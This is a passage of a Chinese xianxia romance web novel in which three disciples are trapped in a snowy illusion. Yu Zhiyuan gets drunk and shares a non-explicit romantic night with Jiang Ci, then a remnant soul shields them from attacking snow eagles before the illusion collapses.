南荣钰回过神来,满脸颓丧瞬间一扫而光,“我怕进了凌云宗没东西吃,之前在江都城买的,果然现在派上用了吧哈哈,我可真是天才。” “……” “你们吃鸡吗?要不……还是吃鸭子吧。”南荣钰克制住脸上的洋洋得意,另一手在储物袋里一掏,又掏出了只鸭子来。 “鸭子虽然只有一只,但我这里头还有只母鸡呢,一公一母,到时候不仅能生蛋,说不定还能孵出小鸡来,肥料还可以用来种菜,咱就不愁没吃的了。” 虞知鸢都看傻了。 蛋……小鸡……菜…… 你懂得还挺多,这就整上生态链了? “没有火。” “……啊?” 姜辞不屑看他一眼,冷酷道:“这里用不了灵力,周遭冰天雪地、不见人影,该如何生火?” 南荣钰如被兜头浇了一盆冷水,忍不住嘴角抽抽,手里的鸭子脖子一梗,趁机狠狠啄了下下他的手,一时间鸭飞鸡跳,一时间屋子里好不热闹。 “试试看能不能打开储物袋。”姜辞低声道。 虞知鸢这才想起来这茬,忙低头去拿储物袋。 确实可以打开。 她眼睛一亮,从里头拿出个烤红薯来,还是冒着热气的。 但……也只有几个烤红薯罢了。 凌云宗内门不设饭堂,她前段日子都被逼得只能辟谷了,就这几个烤红薯,还是那天她在江都城买回来解馋的呢。 虞知鸢给了姜辞个红薯,又去喊追着鸡鸭已经跑到了外头的南荣钰。 南荣钰满脸感激涕零,抬起手——对上虞知鸢一双无辜眼睛。 “那个……”她朝他扬了扬手里的储物袋,干笑道:“好像又打不开了。” 南荣钰:“?!?” “回屋里。”姜辞忽然道。 虞知鸢闻言,骤然反应过来 什么。 等重新回到屋中,储物袋果然又能打开了。 看来这间小院,或许就是他们离开这处幻境的关键。 想到这,三人顾不上吃红薯,屋里屋外又仔仔细细察看了一遍,但除了在后院发现一块疑似是菜圃的地方,仍是没有发现别的异样。 眼见天色也不早了,也只能明日再去别的地方看看了。 三人在正屋坐下,南荣钰从自己储物袋里掏出个酒坛子,献宝一样往桌上一搁:“我这儿还有酒,咱们喝了正好可以暖暖身子。” 他说着话,一边已经手快地揭开坛子,又不知从哪找出来三个杯子,一一添上酒。 清甜的果香立刻在空气中散发出来,闻上去……好像还不错? “这酒好像叫什么三杯醉,我买的时候老板还跟我吹嘘说三杯就能让人醉倒,我信他个鬼。”南荣钰拿起杯子,“咕咚”一声豪迈饮尽,砸砸嘴,“味道倒是还不错。” 虞知鸢从前不能喝酒,穿到这个世界后也没机会喝,这会儿闻着酒味难免好奇,端起酒杯小小抿一口,忍不住眼睛一亮。 酒香清甜,入喉回甘,跟果汁也差不多嘛。 “姜师姐,你——嗝——也喝啊。”南荣钰说着,抬手给自己喝虞知鸢面前的酒杯倒满,又是一仰而尽,“这酒真不错,才这么会儿,我身上就冒热气……”“嘭”的一声,南荣钰的声音戛然而止。 凡人的五感喝反应到底是要比修士差一些,等虞知鸢转头望过去的时候,才发现南荣钰已经趴在桌上睡着了。 虞知鸢眨眨眼:“他喝了几杯了?” 姜辞:“三杯。” “噢。”虞知鸢指着南荣钰,“他酒量不行啊。” “……这三杯醉是用梦叶花和幻心果酿制而成,便是金丹期的修士都喝不过三杯。”姜辞拿走她面前的杯子,“你喝一杯就可以了,不要多喝。” 虞知鸢听罢,歪过头看他,面上神情像是不明白他在说什么,但还是应了声:“啊……那我们是不是该睡觉了?” 姜辞“嗯”了声,此时却见虞知鸢忽地又指着南荣钰,“他、他在这里睡会生病的,你先把他送到房间里,要给他、给他盖好被子。” 姜辞眉头一皱。 “他是我带进来的,”虞知鸢忽然凑过来,与他挨得极近,“姜辞,虞瀚玥会让他活着的,但我不、不想让他因为我死。” 姜辞顿了下,少顷,方才轻轻点了下头,“那我先带你回屋。” “不、不用。”虞知鸢坐直身子摆摆手,似乎是觉得不够,又仰起脸朝他笑了下,那双清澈漂亮的眼睛沾染的星点醉意也便显露了出来,“我就坐在这里等你,我哪里也不去,我很乖的。” 乖是真的乖。 姜辞眸色抑不住地泛出了点血色,但很快,又被他死死摁了回去。 “好,”他眸光闪动,柔声道:“我很快。” 虞知鸢乖乖点头。 然而等到姜辞安顿好南荣钰,如果把人往厨房一扔,随便扯了块布甩他身上也算安顿的话,见到的便是趴在桌上睡去,整个脑袋都埋进了臂弯的少女。 靠近了,才发现不仅她自己的杯子又空了,连他没动过的酒杯也已经倒在了桌面上。 趴在桌上的人像是听到了什么动静,扭过头,将一张被酒意熨地泛红的脸露了出来,一双眼迷蒙潋滟,望着他,像氤氲了一层水雾。 “姜辞。”她缓缓站起身,然后整个人一晃。 姜辞眼疾手快,在她跌倒前一把捞住了她的腰,把她打横抱了起来。 虞知鸢微微睁大了眼,有些不可思议道:“我的腿,不会走路了……” 姜辞扣住她的腰肢不让她乱动,垂首柔声安抚:“它们会走,只是今天太累了,需要休息一晚上。” “真的?你没骗我?” “……真的。” 虞知鸢满意地把头埋在身旁人的胸前,道:“姜辞,你真厉害。” “……” 真是喝醉了。 姜辞眸中闪过一丝笑意,将她放在床榻上,又去墙边的柜子里淡出一条棉被,给她严严实实盖上了。 正要起身,不妨一双手臂抱住了他的脖子,用力将他往下压了压。 四目相对,空气一瞬安静下来。 虞知鸢眨眨眼,带动了睫羽轻颤,也掀起了眼底的潋滟水光。 她靠近他,细声软语:“姜辞,你是不是在修魔道啊?” 姜辞呼吸一顿。 他想直起身,却偏偏被那双柔弱无骨的手臂压得死死的。 “我在血雾沼泽里都看到了。”她道。 “看到什么了?” “我看到你拿了乾坤印,你想打开通往魔域的通道对吗?”她望着他,抿起唇角,不太高兴的样子,“那样太危险了,你会成为整个修真界的敌人,他们会杀了你的。” 姜辞沉默片刻,嘴唇微微动了下,“我没得选。” 虞知鸢眉心一皱:“为什么?” 姜辞:“……他们不会放过我。” 虞知鸢不死心地追问:“他们是谁?为什么不放过你?” 她这会儿说醉吧,又好像挺清醒,见姜辞不说话,她晕乎乎地晃晃脑袋,催促道:“姜辞,好姜辞,你告诉我呀。” 一声一声,又娇又缠人。 姜辞眼皮子一颤,眸中某些情绪翻腾,却终是闭了闭眼,不动声色地移开视线。 这对他很残忍,对一直希望他走正道的她来说,也很残忍。 良久,他低哑的声音才在屋里沉缓响起。 “因为我天生是魔。” “一个魔,又该如何修正道呢?” 第44章 第44章“我能亲亲你吗?”…… 虞知鸢仍盯着他,面上一派天真道:“你是白虎啊,长着很大翅膀的白虎,很漂亮,很漂亮的。” 姜辞闻声,一下眉心也皱紧了,眼底晦涩难辨。 他如今都还能回想起来,虞知鸢信誓旦旦说最喜欢他时的语气,她说,“将来的你,我更更更喜欢”。 可她喜欢的,永远只是她口中那个将来会成为正道之首的姜辞, 却不是他。 姜辞垂下眼,掩去了眼底渐渐变得深沉晦暗的色彩。 他反手去掰虞知鸢抱着他脖子的手,沉声道:“没有翅膀,也没有白虎了。” 虞知鸢却不放,叹了声气,语气无奈,像在哄小孩似的:“好吧好吧,你说是魔就是魔吧,那你是什么魔呢?” 她说着话,指尖轻移,柔软的指腹碾过他的眼角,“是不是最厉害的那种呀?” 修仙要做最厉害的修士,做魔也要做最厉害的魔吗? 姜辞按住她在他脸上游移的手,捏住她的之间,轻轻摩挲了下,“你喜欢最厉害的?” 虞知鸢:“不呀。” 不? 姜辞气笑了,手上不自觉地用了几分力气:“不喜欢为什么还要我做最厉害的?” 他捏得她的手有点疼。 虞知鸢噫噫呜呜地轻声哼唧了下,但姜辞却更用力了,她有些无助地望着他,委屈道:“你如果是最厉害的,就没人敢欺负你了啊。” 姜辞心头浮动起的冰冷和燥郁,顿时被按了下去。 他舔了下牙,一种汹涌而上的情绪满满充斥着他的胸膛,泄不出去,也收不回来。 虞知鸢还在说话,用软软的语调跟他撒娇,“你弄疼我了。” 这么不经弄? 姜辞话到了嘴边,却生生咽了回去。 有些事不能想,更不能说,否则…… 姜辞捏住她手的掌心,蓦地热了起来。 他修长的手指往下一滑,扣住了她的手腕向上抬去,另一只手撑住了自己的上半身,手臂上青筋直蹦跶。 虞知鸢一无所知,以一种任他摆弄的柔软姿态躺在他身下—— ……睡着了。 姜辞的手不受他自己控制地抬起,又停下来。 他深吸一口气,指尖攥了攥,而后闭上眼,从她上方翻下去,与她并肩而躺。 夜色渐浓,不知何时添上又渐渐开始飘起了雪粒,寒意仿佛沁入骨髓,只是姜辞觉得自己的胸腔里像是滚起了一团火,冷热交替,灼得他难以入眠。 又不知过去了多久,身侧睡得好好的人忽然打了个滚儿,就势滚进了他的怀里。 姜辞轻轻吸了口气,没有推 开。 但怀中的人却并不安分。 一个细滑温热的触感悄悄爬上了他的脖颈,而后顺着往下滑了滑,搭在他的肩膀上。 肌肤相触。 姜辞眉心一跳,正要抓住她不老实的手…… 身侧动静倏起。 下一瞬,他身上更沉了。 湿热的鼻息,滑腻的皮肤,亲密相贴到不留一丝缝隙的身躯…… 这下姜辞额头的青筋都跟着蹦出来了。 虞知鸢趴在他身上,那双不老实的手又开始在他身上作乱,一路往下的同时,嘴里还在嘀嘀咕咕:“怎么会这么硬呢,我倒要看看是怎么回事……” 姜辞只觉得脑中“嗡”一声响,浑身血液奔腾而下。 他盯着虞知鸢,目不转睛,扣着她的手,不自觉地用力到指尖都有些发麻。 然后就听见虞知鸢嘴里轻轻咕哝了声“疼”。 姜辞这才缓缓回神,松了松力道。 “想看什么?”他低声问,嗓音因为某些情绪变得暗哑。 虞知鸢“啊”了声,一双眼睛沾染上星点醉意,愈发迷离娇媚,“看……看什么……” 姜辞能清晰地感受到她的视线连同她掌心的温度一起,渐渐往下。 胸膛中那团始终未曾熄灭的火越烧越旺,滚过他的五脏六腑,也烧得更旺了。 她的掌心贴在他胸膛,摁了摁,面上疑惑、茫然之色缓缓浮现,直到触及到某一点时,微微瞠圆了眼睛。 然后虞知鸢就动不了了。 是姜辞按住了她。 力道之大按得她动弹不得。 一切好似只发生在电光火石间。 虞知鸢只觉得眼前一花,天旋地转的一瞬后,两人已经调转了上下。 姜辞掐住她的下巴抬起来,盯着她的眼睛,“看到什么了?” 他话说的很慢,像是为了让她听清楚,也像是为了给她更多的思考时间。 “没看到啊。”虞知鸢嘴唇动了动,微醺的媚眸一点点描摹过姜辞的面庞,眨了眨,无辜道:“我只是摸了一下下——诶?” 她目光像是捕捉到什么更让她好奇的东西,嘴边的话戛然而止,探在他衣襟里的手也抽了出来。下一瞬,粉嫩带着他体温的指尖便往她目光聚集处轻轻戳了下。 动作太快,以至于姜辞还来不及体会心中将将升起的那一点焦灼,就又忍不住倒吸一口冷气。 虞知鸢对眼前人的异状毫无所觉,还在自言自语地低声呢喃,“喉结……你怎么长喉结了呢?” “因为……”姜辞眸中颜色更深,然后将她的腰箍住了,“我是男人。” 灼热的呼吸自上方喷吐而下,虞知鸢抬眸对上他的视线,迟滞的思绪只能被动地被他牵着走。 “男人?”她眼底透露出几分茫然。 姜辞:“……嗯。” 虞知鸢喉中呜咽着挤出了点含糊的声音,而后像是蓦地想到了什么,抿起唇角,娇媚的眸中浸染出迷离的水光,“男人的话,应该没关系了吧?” 姜辞:“?” 她仰头,眼里漫出了亮晶晶的光,语义不清地咕哝道:“你长得真好看。”她捧住他的脸,一点点靠近,莹润粉嫩的指尖落到他唇上,点了点,“我能亲亲你吗?” 姜辞眉心一跳,眸中颜色更深,像是不见底的深潭。 像是能吞吃人的野兽。 他垂眸瞧她,乌黑的瞳仁里蒙着雾气,莹白的鼻尖上沁着些粉,红唇微微张开,满心满眼地望着他。 他不想动她,至少不是在这时候,但她偏要不知死活地来招惹他。 虞知鸢没等到姜辞的回答,望着他,还竖起一根手指晃了晃,跟他有商有量的:“就亲一下,一下就好,行不行?” 姜辞:“……” 他忍无可忍,俯下身,气息裹挟着凶悍气势汹汹逼近,咬住了虞知鸢的唇。 虞知鸢“嘶”了一声,揪住他的头发,含混道:“你轻一点。” 他便敛去气息里的暴虐,托着她的后颈,含着被他咬疼的那处轻轻舔舐。 渐渐地,某些本能在无师自通中融会贯通,绵密且珍惜的吻变得强势又凶悍,箍在她腰间的胳膊像是要把她压到他身体里去似的。 淡淡酒香,在彼此吐纳之间充塞口鼻。 虞知鸢怔怔地,眼睛都忘了眨,但她觉得被他亲得很舒服,呼吸渐渐发生了变化,嗓子里沁出一两声细小的嘤咛,手臂也不由自主似地,软软地圈上了他的脖子。 姜辞停顿了一瞬,而后像蛰伏的猛兽亮出了爪牙,吮吸变成嗜咬,虞知鸢忍不住闷哼一声。 姜辞听到声音,力道稍缓,撤出来,意犹未尽地抵住她的唇,哑声道:“闭上眼。” 虞知鸢迟滞地眨了眨眼,染上水意的眸子睁得更大了,“我不能看着你吗?” 两人几乎碰到一起的唇因为她的动作轻轻刮蹭了下,姜辞喉结又是重重一滚,眸色暗过外头的深夜。 虞知鸢才发现他脖颈处的动静,奇怪地看了眼,又抬手摸了下,掀起眼皮道:“你脖子上怎么有青筋突起来了?” 空气有一瞬间的死寂,而后有什么东西以摧枯拉朽之势顷刻倾塌。 姜辞紧攥着她的腰,将她含糊的语调一口吞下,甚至没给她反应的时间,直接撬开她的唇齿,勾住她的舌尖,几乎直抵深喉。 虞知鸢心跳砰砰,像是要从胸腔里跳出来了。她轻轻摩挲着掌心下的皮肤,在好不容易得来的喘息间隙,含糊着呜咽出声,“姜辞?” 姜辞没空应她,他身上的衣衫在这样的纠缠中渐渐散开,她的也是。他扣住她腰身的手,沿着她脊骨,缓缓上移。掌心下的肤触,柔软、温暖、香甜,诱人再三流连。指掌滑过之后,唇舌也随之烙上。 虞知鸢抽了口气,控制不住地在他唇舌间轻颤。 屋外的雪下得无声无息,屋内却蒸腾着一波又一波的滚烫的热。 湿热的呼吸喷涌在脖颈里,蓬勃的热源抵住了她。 如此亲密纠缠,她像是承受不住,嘴里咿咿呜呜,不断轻声喊叫着他的名字。 胸中翻涌的情绪几乎要将姜辞整个人淹没,他亲亲她的唇,低低应了声。 得到回应的虞知鸢一顿,混沌的意识里突然出现了点清明,她停下,收回手抵在他胸前,断开两人缠在一起的呼吸,“不行……” 如此欲拒还迎的姿态,姜辞只不自觉地将她的腰扣得更紧了,他亲吻过她的唇瓣和鼻尖,亲吻过她的面颊和下巴,恍惚间察觉到她越发激烈的抵抗,他听见她的声音:“姜辞……不行……大师兄……” 落在她颈侧的唇,蓦地僵住了。 大!师!兄? 第45章 第45章女孩子和女孩子之间,能…… 犹如兜头泼了一盆冰水。 姜辞慢慢停下动作,他掐住身下人的下巴,盯着她,眼底沉了沉,“我是谁?” 你是谁你自己不知道,怎么反倒来问我呢? 虞知鸢半睁着眼,不明所以地抬起脸,恰好对上姜辞一双暗沉的眼。 她不由自主地抬起手,指尖摁了摁他的眼尾,又一点点往下,描绘过他侧脸的轮廓。 然后她看似很认真地想了下,这一想,她面上随之露出了点恍然大悟,又有点害羞的神色,她朝他笑了笑:“你是男人。” 姜辞:“ ……?” “是男人。”虞知鸢咕哝了一声,因为不满意他这般磨磨唧唧的,还主动伸手搂住他,仰起脸亲了亲他的下颌:“姜辞不是男人,你不是姜辞,所以咱们可以的。” 他……不是男人??? 可以?可以什么? 不是他也可以?!? 还是说,是个男人就可以!?! 以及,那个该死的大师兄!!! 姜辞额头上的青筋又蹦起来了,不过这回是被气的。 他觉得自己这一刻脑中涌起的念头十分可怖,于是生生按住了,而后扯过棉被,把还在胡乱亲他的人盖了个严严实实。 眼不见为净,姜辞咬了咬后槽牙,心道。 没了他的纵容,虞知鸢很快消停下来,脑袋扎在被窝里,没一会儿就睡着了。 姜辞却是睡不着了。 他不自觉地捏了捏指尖,总觉得掌中空空,胸膛里也空空的。他轻轻眯起眼,望着窗缝外的夜色。 更深露重。 虞知鸢睡得并不安稳。 身侧像是是有个燃烧的炉子,烈焰翻滚,滚滚热浪无孔不入地涌入她的周身,但她的手脚却像是缀满了铁索,沉重不堪,无力挣脱,她只能任由无数滚烫的火舌不断舔。舐着她的肌肤。 与此同时,无数画面宛若走马灯般胡乱地闪过她的识海中,一幕又一幕交叠更替,宛若潮水般将她淹没。 纤细的指尖微微蜷缩,她缓缓蹙起了眉尖,白皙的额间浮上一层细密的汗珠。 某一刻,一点金色光芒在她指尖一闪,顺着钻了进去。 睡梦中的虞知鸢像是察觉到什么,翻了个身,袖口往下滑了滑,露出的一截白皙手腕上多出来一道隐约的符文,颜色浅淡,透着一点蓝。与此同时,她额头一道符文也跟着亮了下。 然而只一眨眼,二者便又重新消失得不留丝毫痕迹,仿佛从未出现过。 识海中的画面平息下来,虞知鸢微蹙的眉头缓缓舒展下来,身侧人的眉头却一下皱了起来。 姜辞面色凛冽,扣住了虞知鸢的手腕举起来,又垂下眼,目光一寸一寸地在她脸上逡巡而过。 因着之前一番折腾,她的脸颊到现在还红扑扑的,抻开的被子下若隐若现地露出她白皙的皮肤,以及上头尚未消散的痕迹。 除此之外,并不见其他不对劲的地方。 姜辞紧抿着唇。 凡人的身躯到底不便,方才他未能及时察觉到异样,便是此刻,他也没法去探查她的经脉和识海,只隐约记得方才看到的那道游走在她手腕上的光勾勒出来的图案,是一道加强术法力量的符文。 而那道术法,恐怕是很早之前就设在她识海中的。 他的视线再一次落到虞知鸢脸上。 这会儿她倒是睡的不错,嘴里咕哝了声,抬了抬下巴,脸颊贴住他掌心轻轻蹭了下。 骨头缝里尚未散尽的热意又一次轻而易举被她挑起,姜辞眸中的戾气更重了些,他指尖摩挲过她手腕上的皮肤,而后狠狠捏了捏她的脸颊,这才重新躺下了。 /// 不知是哪一簇积雪落下,枝丫发出了轻而闷的折断声。 虞知鸢在吹拂而过的微凉冷风中醒来,刚一动,发现自己腰上横了条劲瘦的手臂。 身后的怀抱滚烫火热,连落下来的呼吸都烫的她忍不住地瑟缩。 她这会儿脑子还有些迟滞,闹不清楚是个什么情况,等缓了会儿,反应过来身后的人是谁,浑身汗毛都险些炸开。 这不是她第一次和姜辞同床共枕,但这是头一次,她再意识到这件事的时候觉得心慌意乱。 心跳砰砰的同时,她几乎是本能地挣扎了下。那横在她腰间的手臂却收得更紧,几乎是将她牢牢缚在了他的身上。 她的背紧紧贴住了他,彼此之间几乎毫无空隙,她几乎能感觉到姜辞胸腹处紧实起伏的…… 老天奶啊!我到底在想什么!?! 虞知鸢硬生生止住自己乱飞的思绪,暗暗深吸一口气,这才轻拍了下腰间的那条手臂,装作若无其事地跟身后的人道了句“你松下手,我要起床了”。 松手? 知道他是男人了,这就开始要疏离他了? 姜辞眸中情绪翻涌,手掌一用力,扣住那个一大早上就捣火的人的腰,将她翻转了过来。 虞知鸢抵不过他的力道,不情不愿翻过身,浑身僵硬得跟木头似的,脸颊上却晕着嫣红,一双眼睛瞟上瞟下,就是不看他。 就这么不待见他? 姜辞又给她气笑了。 “师姐这是什么意思?”他靠过去,鼻尖就要蹭到她的鼻子上,“难道是不记得昨晚都对我做了什么吗?” 虞知鸢眼睛余光瞥见他的靠近,迅速偏开头,躲开了姜辞的鼻尖,却没躲过他的这句话。 她脑子被他这一下捣的全是浆糊,晕头转向的,愣愣地“啊”了声,“做……做了什么?” 姜辞:“……” 他后槽牙都快咬碎了,用尽全力才算克制住了把昨夜的事情再重复一遍的冲动,从喉咙里挤出声音问道:“师姐都不记得了?” 虞知鸢听他这话,忍不住吞了口口水。 事情好像不大妙。 她努力去回忆昨天究竟发生了什么事,但想来想去,就只记得自己喝了几杯酒,觉得有点困,然后……然后就没有然后了啊! 她好像是……断片了? 她从前没喝过酒,也不知道自己酒量怎么样,喝了酒又会怎么样,但现在看来,或许她的酒品……不大好?但究竟发生了什么…… 她实在是一点都想不起来了啊! 总不会…… 不会是她酒壮怂人胆,趁着喝醉把姜辞给扑倒了吧? 但女孩子和女孩子之间,能用……强的吗? 虞知鸢脑中一团乱麻,一想到这个答案也许是“能”,就觉得自己要气得呕出血来。 她辛苦劳累了这么久,结果这一切就这么……毁在自己手里了? 正当她一边懊恼为什么要喝酒,一边觉得羞愧到无言面对姜辞时,外头有人破云一声雷似的喊了句“虞师姐救命”。 那嗓门也不知道经历了什么,跟个破铜锣似的,半夜听到都能吓死个人。 但虞知鸢这会儿听到,却觉得这声音简直就是救人于水火的天籁之音。 她顾不上姜辞,或者说是不愿意去顾姜辞,腰上一个用力,猛地从榻上弹坐起来,没成想这回是半点阻力都没受到。她一愣,而后反应过来什么,丢下一句“我出去看看”就下了床榻,头也不回跑出了屋子。 动作之快,一气呵成,不知道的还以为遇见了什么吃人的妖怪呢。 姜辞盯着她的背影,直到院中传来她和南荣钰的对话声,才垂下眼皮,盖住了眸中的凉意。 她是真的不记得。 一丝一毫的印象都没有。 但这样的“不记得”真的只是简单的醉酒后的不记得吗? 他不由地回想起昨夜见到的她身上的那道符文,眼眸中狠厉没能收敛住,连带着杀意都漫了出来。 /// 姜辞出去的时候,虞知鸢和南荣钰正凑在一起说话。两人脑袋挨着脑袋,不知是说起了什么,南荣钰一下就扒拉住了虞知鸢的胳膊,偏偏她还不躲,就那么任人抱着,丝毫不在意似的。 姜辞心中升起万分不快,长腿一迈,很快便到了虞知鸢身旁,不由分说一把南荣钰从她胳膊上扯了下来。 虞知鸢早就听见动静了,偏就是不转头看他,埋着脑袋跟个鹌鹑似的窝在原地不动弹。 倒是南荣钰,看到扯他的是姜辞而不是梦里那些追着他砍的人,心下顿时一松。 他跟姜辞草草打了声招呼,也不在意姜辞一副臭脸,明显是不想搭理他的样子,嘴里的话又车轱辘似的滚了出来:“太可怕了我跟你们讲,我在梦里被十多只癞蛤蟆妖兽追了快百里地,好不容易逃出来,结果你们猜怎么着? “结果我竟然被那个慕言蘅给捉住了!他太可恶了简直,弄死了我还不给我留个全尸,把我切成好几截,还把我脑袋一脚踹到了虞宗主手里! 我那脑袋都开了瓢了,一睁开眼看到他,当场就给我吓醒了。 “唉,跟你们说实话吧,说是来拜师学艺,学成了就能回去,但其实谁都知道,我大概是要死在这里的。我这人也笨,我父皇就是觉得我没用才让我来的,死了也不可惜嘛。但我就是不想死啊,我还这么年轻,花花世界都还没享受呢就让我死,我可不甘心。 “总之等我从这里出去,我一定要再去多买些保命法器。 “说起来,咱们不会就一直待在这里了吧?没吃的没喝的岂不是没几天就死了?对了,我刚才在厨房里翻了翻,你们猜我找到了什么东西。 “我找到了一个蛋,好大的蛋。可惜没火,不然烤个蛋可比烤鸡烤鸭方便多了。要不咱一会儿再出去查探查探,看看哪家人家里有火折子什么的?” 他一股脑儿地说完,许久也没人搭理他。 他挑起眼睛一瞧,才发觉姜辞似乎根本没在听。 姜辞的目光都落在了虞知鸢的身上。 而虞知鸢呢,她正在认认真真地点头。 点头? 他话都讲完了,她怎么还在点头? “对了,我把蛋收起来了,给你们看看?” 南荣钰小心翼翼地出声,哪知刚把蛋从储物袋里掏出来,便感觉到骤然一阵地动山摇。 姜辞飞快地抓住了虞知鸢。 南荣钰就没这么好运了,一下跌倒在地上,“噗”的一声响,手里的蛋也给砸了个烂。 但这会儿就是南荣钰也没心思关心蛋的问题了,他慢一拍地望向门外。 外头的天光渐渐黯淡下来,空中似乎有什么东西正以极快的速度朝这里飞来,不过眨眼的功夫,就已经靠近了村子。 而随着距离的接近,那东西的模样也便映入了他的眼帘。 身形粗壮,翅膀宽大,浑身银白色泛着冷光的羽毛,那是…… 雪雕? 第46章 第46章“哭什么,吓到了?”…… 若是南荣钰和虞知鸢姜辞一起参加了内门弟子选拔的第一重试炼,就该知道那雪雕并不只是单纯的雪雕,而是二级妖兽玄羽雪雕。 只是玄羽雪雕,怎么会出现在这里? 等等,这里? 虞知鸢蓦地想起来什么,目光一转,迅速掠过整个村庄,而后愣在了原地。 村子、倒挂的黍杆,还有……玄羽雪雕。 她心下一凛,下意识抬眸,正对上姜辞的视线。 “这里是不是……” 她迟疑着,话都还没说全,姜辞便点了点头,肯定了她的猜测。 虞知鸢心下一沉,无数疑问跟着从心底浮上来。 可眼下并不是去探究这些疑问的时候。 不远处,数不清的雪雕已经铺天盖地一般压了过来。 要命的是,现在与之前身处界域骨镜的幻境中时不同,眼下他们都是凡人之躯,既没有修为也没法驱动法器,莫说抵挡这些玄羽雪雕了,便是跑,恐怕也跑不过这群玄羽雪雕的速度。 另一边的南荣钰已经回过神来,连滚带爬往屋中跑的时候还不忘催促他们:“快,咱们找个地方躲一躲啊。” 要是躲得过,那时的村子也不会是那副人间炼狱的模样了。 虞知鸢不自觉地牢牢揪住了姜辞的衣襟,被他带着往屋内退时,第一只玄羽雪雕已经飞进了院子,带起的罡风也跟着狠狠削了过来。 姜辞带着她就地一滚,长腿钩住木门用力阖上,又扯过来木桌抵在门板上。 罡风从木门上划过,木屑飞散开来,削出一条比拇指还要粗长得多的深刻印记。 姜辞被溅了不少的木屑灰尘,偏地上还有一个不小心摔碎了的蛋,这一滚,更是沾了满身蛋液,他极难忍受地抿了下唇,但还是垫在了虞知鸢的身下。 但虞知鸢的心思却不再他身上,她的视线透过门上的缝隙,看见了院中的景象。 半空中有星点点的幽蓝色光点缓慢显现,那光点异常的晶莹,仿佛将天上的星辰的光辉浸染了流沙,聚集在眼前。浮动的光点仿佛有生命一般,聚沙般缓慢的汇聚,最后在空气中浮现一道巨大的浅蓝色光幕。 那乌泱泱的玄羽雪雕群并没有如她想象的那般顺利扑飞进院子,而是被这道光幕挡在了外头。 这是一道……结界。 一道瞧着并不十分牢固的结界。 在玄羽雪雕的疯狂扑腾下,好似下一瞬就会被分崩离析成散沙。 而在结界中,一道模糊的身影正在缓缓凝聚而成。 而之所以说她身影模糊,是因为她的面上看不起五官,整个身影都像是一团随时都可能被风吹散的气。 这不是人,像是一道魂魄,或者更准确一点地说,是一道残魂。 完整的魂魄是不可能如她一般飘渺虚幻的,只有魂力所剩无几的残魂,才会呈现出如此浅淡到近乎透明的模样。 可即便只是一道残魂,她竟然也能撑起一个能够阻挡玄羽雪雕群的结界,可想而知她生前该是何等的厉害。 也应该……很温柔,很……熟悉。 虞知鸢的思绪微微飘远了一些,然后便听见姜辞的声音:“哭什么,吓到了?” 什么? 虞知鸢一怔,反应过来,连忙抬手摸了摸自己的脸。 湿的。 她又是一愣,下意识地舔了舔唇。 是……咸的。 可她完全不知道自己为什么会这样,好像这些反应就只是这具身体见到外头那道身影时,本能产生的反应。 但她并不认识她,她甚至连她的模样都看不—— “或许你从前认识她。”姜辞的声音打断了她的思绪。 虞知鸢收回视线,垂眸望向身下的人:“嗯?” 她脸上眼泪也便如珍珠一样,从她眼中滑落而出,落到了姜辞的脸上。 姜辞想起来上一回她落泪,还是在问心阵中他被赤焰狮打伤,她哭着让他不要死,她说没了他她不知道该怎么办。 说到底,是怕他死才哭的。 可见那道残魂对她来说,兴许也如他一般重要。 姜辞侧眸打量外头那道残魂几眼,而后扶住了虞知鸢的腰让她坐起来,又伸手揩去她眼角的溢出的泪水,方便她能更清楚地去看那道身影。 “她像是快要撑不住了。”虞知鸢喃喃道。 姜辞:“或许可以想想办法。” 虞知鸢愣愣转过脸:“嗯?” 姜辞动了动唇,淡淡道:“玄羽雪雕不会无故袭击人,上一回在界域骨镜中是为了领头雕的那枚蛋,若这个幻境真的与上次的幻境同出一脉,那么这一次它们攻击村落的原因应当也是一样的。” 蛋? 虞知鸢目光一闪,视线扫过满地狼藉的蛋壳蛋液,又在姜辞沾满蛋液的身上扫过。 姜辞:“……上一回不是把蛋带出来了?” 虞知鸢这才想起来这事,眼睛立刻一亮。 她这日子过得紧紧巴巴,储物袋里本来没几样东西,那蛋个头也不小,一直被她扔在角落,她都不需要翻找,只一眨眼,那蛋就出现在了她的手上。 但直接扔出去肯定是不行的,莫说那些狂暴的玄羽雪雕能不能反应过来抓回这蛋,有结界在,蛋都不一定能不能扔出去。 虞知鸢:“那,我们把蛋给她,让她送到结界外面去?” 姜辞:“嗯,试试。” 话是这么说,但残魂毕竟没有意识,她不认识人,也听不懂话,谁也不确定她会不会对他们的靠近同样抱有敌意。 姜辞打开门,护着虞知鸢一道小心翼翼地往外走。 一丈, 两丈, 三丈…… 他们来到了残魂的面前。 残魂缓缓转过脸,五官难辨的一张脸看向虞知鸢。 虞知鸢眼一热,在被眼泪模糊视线前,把手里捧着的蛋往前送了送。 没有意识的残魂并没有立刻接过去,她盯着虞知鸢,良久,才缓缓伸出了手。 她并没有去接那颗蛋,而是去握住虞知鸢的手。 但这缕残魂实在太虚弱了,她所剩无几的力量都用来维持结界,连形态都快保持不住。 她没能握住虞知鸢,浅淡到几乎透明的手穿透虞知鸢的,而后像是愣住了一般,定在 了原地。 她没有意识,她只是一抹残魂。 虞知鸢控制不住自己,“啪嗒啪嗒”掉了两滴泪,又转头看向姜辞,吸了吸鼻子:“怎么办,她好像拿不住。” 话音才落,她就感觉到手里的重量一轻。 转眸望过去,只见一道微弱的灵力已经托起了那枚蛋,以极其缓慢的速度,一点点地,稳稳地把蛋送到了只隔着一层透明结界的领头雕的眼前。 玄羽雪雕不聪明,蛋都在眼前了也没立刻察觉,好一会儿那领头雕才停下攻击,而领头雕一停下,其他玄羽雪雕也都渐渐安静了下来。 被灵力托着的蛋渐渐穿透结界。 下一刻,伴随着“轰隆隆”的巨响,一阵猛烈的地动山摇袭来,整个空间似乎都发生了扭曲,空间如同捏面团一样变成了混乱一团。眼前的村庄开始为之震颤,房屋一座接着一座开始倒塌。 这个幻境马上就要分崩离析。 虞知鸢下意识伸手去抓那抹残魂,理所当然抓了个空,然后她被姜辞揽住了腰,抓回了身前。 “地震啦?”南荣钰从屋里跑出来,一路又跌又撞,连滚带爬才算跑到了屋外,但他很快就看见了更令他心惊的一幕。 天边好似被一道蛮力撕开了条缝隙。 有血红色的光从缝隙中透出来,映得人眼前模糊一片。 虞知鸢一下没抓住残魂,再看过去,已经什么都看不到了。 天边的口子被撕开得更大了。 红光变成猩红色的血雾,在他们面前铺散而开。 幻境也终于在一阵阵“轰隆隆”的地动中彻底塌陷。 不知多了多久,当雾气一点一点散去,眼前的景象再一次彻底变换。 